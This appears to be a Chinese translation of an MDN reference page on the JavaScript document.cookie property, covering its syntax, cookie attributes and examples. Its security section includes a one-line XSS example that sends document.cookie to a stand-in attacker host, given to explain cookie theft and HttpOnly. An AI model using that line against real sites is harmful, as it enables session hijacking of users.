文档:cookie 属性
Document
属性 cookie
允许你读取和写入与文档关联的cookie。它充当 cookie 的实际值的 getter 和 setter。
语法
读取从该位置可访问的所有 cookie
allCookies = document.cookie;
在上面的代码中,allCookies
是一个字符串,包含所有 cookie 的分号分隔列表(例如,key=value
对)。请注意,每个键和值可能都用空格(空格和制表符)包围:实际上,RFC 6265 要求在每个分号之后添加一个空格,但一些用户代理可能不遵守此规定。
写入新的 cookie
document.cookie = newCookie;
在上面的代码中,newCookie
是一个形式为 key=value
的字符串,指定要设置/更新的 cookie。请注意,你只能使用此方法一次设置/更新一个 cookie。还要考虑
- 以下任何 cookie 属性值都可以选择性地在键值对之后添加,每个值之前用分号分隔符分隔
-
;domain=domain
(例如,example.com
或subdomain.example.com
):将向其发送 cookie 的主机。如果未指定,则默认为当前文档位置的主机部分,并且 cookie 在子域中不可用。如果指定了域,则始终包含子域。与早期规范相反,域名的开头点将被忽略,但浏览器可能拒绝设置包含此类点的 cookie。注意:域必须与 JavaScript 来源的域匹配。将 cookie 设置为外域将被静默忽略。
;expires=date-in-UTCString-format
:cookie 的过期日期。如果未指定expires
或max-age
,则它将在会话结束时过期。警告:当用户隐私是一个问题时,重要的是任何 Web 应用程序实现都应在特定超时后使 cookie 数据失效,而不是依赖浏览器来执行此操作。许多浏览器允许用户指定 cookie 永远不应过期,这不是安全的行为。
Date.toUTCString()
。;max-age=max-age-in-seconds
:cookie 的最大生存时间(以秒为单位)(例如,60*60*24*365
或 31536000 表示一年)。;partitioned
:指示应使用分区存储来存储 cookie。有关更多详细信息,请参阅 具有独立分区状态的 cookie (CHIPS)。;path=path
:cookie 的Path
属性的值(有关更多信息,请参阅 定义 cookie 的发送位置)。;samesite
:SameSite
属性是一个Set-Cookie
标头,可以由服务器设置,以指定何时将发送 cookie。可能的值是lax
、strict
或none
(另请参阅 使用SameSite
控制第三方 cookie)。lax
值将在所有同站请求和顶级导航 GET 请求中发送 cookie。这足以进行用户跟踪,但它将阻止许多 跨站点请求伪造 (CSRF) 攻击。这是现代浏览器中的默认值。strict
值将阻止浏览器在所有跨站点浏览上下文中将 cookie 发送到目标站点,即使是遵循常规链接时也是如此。none
值明确说明不应用任何限制。cookie 将在所有请求中发送 - 无论是跨站点还是同站请求。
;secure
:指定 cookie 只能通过安全协议传输。
-
- cookie 值字符串可以使用
encodeURIComponent()
来确保字符串不包含任何逗号、分号或空格(这些在 cookie 值中是不允许的)。 - 一些用户代理实现支持以下 cookie 前缀
__Secure-
向浏览器发出信号,表明它应该只在通过安全通道传输的请求中包含 cookie。-
__Host-
向浏览器发出信号,表明除了仅从安全来源使用 cookie 的限制外,cookie 的范围还限于服务器传递的 path 属性。如果服务器省略了 path 属性,则使用请求 URI 的“目录”。它还发出信号表明 domain 属性不能存在,这将阻止 cookie 发送到其他域。对于 Chrome,path 属性必须始终是来源。
注意:连字符被视为前缀的一部分。
注意:这些标志只能使用
secure
属性设置。
示例
示例 1:简单用法
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "name=oeschger; SameSite=None; Secure";
document.cookie = "favorite_food=tripe; SameSite=None; Secure";
function showCookies() {
const output = document.getElementById("cookies");
output.textContent = `> ${document.cookie}`;
}
function clearOutputCookies() {
const output = document.getElementById("cookies");
output.textContent = "";
}
<button onclick="showCookies()">Show cookies</button>
<button onclick="clearOutputCookies()">Clear</button>
<div>
<code id="cookies"></code>
</div>
示例 2:获取名为 test2 的示例 cookie
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "test1=Hello; SameSite=None; Secure";
document.cookie = "test2=World; SameSite=None; Secure";
const cookieValue = document.cookie
.split("; ")
.find((row) => row.startsWith("test2="))
?.split("=")[1];
function showCookieValue() {
const output = document.getElementById("cookie-value");
output.textContent = `> ${cookieValue}`;
}
function clearOutputCookieValue() {
const output = document.getElementById("cookie-value");
output.textContent = "";
}
<button onclick="showCookieValue()">Show cookie value</button>
<button onclick="clearOutputCookieValue()">Clear</button>
<div>
<code id="cookie-value"></code>
</div>
示例 3:只执行一次操作
为了使用以下代码,请将 doSomethingOnlyOnce
(cookie 的名称)的所有出现替换为自定义名称。
function doOnce() {
if (
!document.cookie
.split("; ")
.find((row) => row.startsWith("doSomethingOnlyOnce"))
) {
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie =
"doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; SameSite=None; Secure";
const output = document.getElementById("do-once");
output.textContent = "> Do something here!";
}
}
function clearOutputDoOnce() {
const output = document.getElementById("do-once");
output.textContent = "";
}
<button onclick="doOnce()">Only do something once</button>
<button onclick="clearOutputDoOnce()">Clear</button>
<div>
<code id="do-once"></code>
</div>
示例 4:重置之前的 cookie
function resetOnce() {
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie =
"doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=None; Secure";
const output = document.getElementById("reset-once");
output.textContent = "> Reset!";
}
function clearOutputResetOnce() {
const output = document.getElementById("reset-once");
output.textContent = "";
}
<button onclick="resetOnce()">Reset only once cookie</button>
<button onclick="clearOutputResetOnce()">Clear</button>
<div>
<code id="reset-once"></code>
</div>
示例 5:检查 cookie 是否存在
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "reader=1; SameSite=None; Secure";
function checkACookieExists() {
if (
document.cookie.split(";").some((item) => item.trim().startsWith("reader="))
) {
const output = document.getElementById("a-cookie-existence");
output.textContent = '> The cookie "reader" exists';
}
}
function clearOutputACookieExists() {
const output = document.getElementById("a-cookie-existence");
output.textContent = "";
}
<button onclick="checkACookieExists()">Check a cookie exists</button>
<button onclick="clearOutputACookieExists()">Clear</button>
<div>
<code id="a-cookie-existence"></code>
</div>
示例 6:检查 cookie 是否具有特定值
function checkCookieHasASpecificValue() {
if (document.cookie.split(";").some((item) => item.includes("reader=1"))) {
const output = document.getElementById("a-specific-value-of-the-cookie");
output.textContent = '> The cookie "reader" has a value of "1"';
}
}
function clearASpecificValueOfTheCookie() {
const output = document.getElementById("a-specific-value-of-the-cookie");
output.textContent = "";
}
<button onclick="checkCookieHasASpecificValue()">
Check that a cookie has a specific value
</button>
<button onclick="clearASpecificValueOfTheCookie()">Clear</button>
<div>
<code id="a-specific-value-of-the-cookie"></code>
</div>
安全性
重要的是要注意,path
属性不会防止从不同路径中未经授权读取 cookie。它可以通过 DOM 很容易地绕过,例如,通过创建一个具有 cookie 路径的隐藏 <iframe>
元素,然后访问此 iframe 的 contentDocument.cookie
属性。保护 cookie 的唯一方法是使用不同的域或子域,因为存在 同源策略。
cookie 通常用于 Web 应用程序中识别用户及其已认证的会话。从 Web 应用程序中窃取 cookie 会导致劫持已认证用户的会话。窃取 cookie 的常见方法包括使用 社会工程学 或利用应用程序中的 跨站点脚本 (XSS) 漏洞 -
new Image().src = `http://www.evil-domain.com/steal-cookie.php?cookie=${document.cookie}`;
HTTPOnly
cookie 属性可以通过阻止通过 JavaScript 访问 cookie 值来帮助缓解此攻击。阅读有关 cookie 和安全 的更多信息。
注释
- 从 Firefox 2 开始,可以使用更好的客户端存储机制 - WHATWG DOM 存储。
- 你可以通过将 cookie 的过期时间更新为零来删除它。
- 请记住,你拥有的 cookie 越多,每次请求在服务器和客户端之间传输的数据就越多。这将使每个请求变慢。强烈建议你使用 WHATWG DOM 存储 来保存“仅客户端”数据。
- RFC 2965(第 5.3 节,“实现限制”)规定,cookie 键或值大小没有最大长度,并鼓励实现支持任意大的 cookie。每个浏览器的实现最大值必然不同,因此请咨询各个浏览器的文档。
document.cookie
访问器属性的 语法 如此的原因是由于 cookie 的客户端-服务器性质,这与其他客户端-客户端存储方法(例如,localStorage)不同。
服务器告诉客户端存储 cookie
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: cookie_name1=cookie_value1
Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
[content of the page here]
客户端将其先前存储的 cookie 发送回服务器
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
Accept: */*
规范
规范 |
---|
HTML 标准 # dom-document-cookie |
浏览器兼容性
BCD 表格仅在浏览器中加载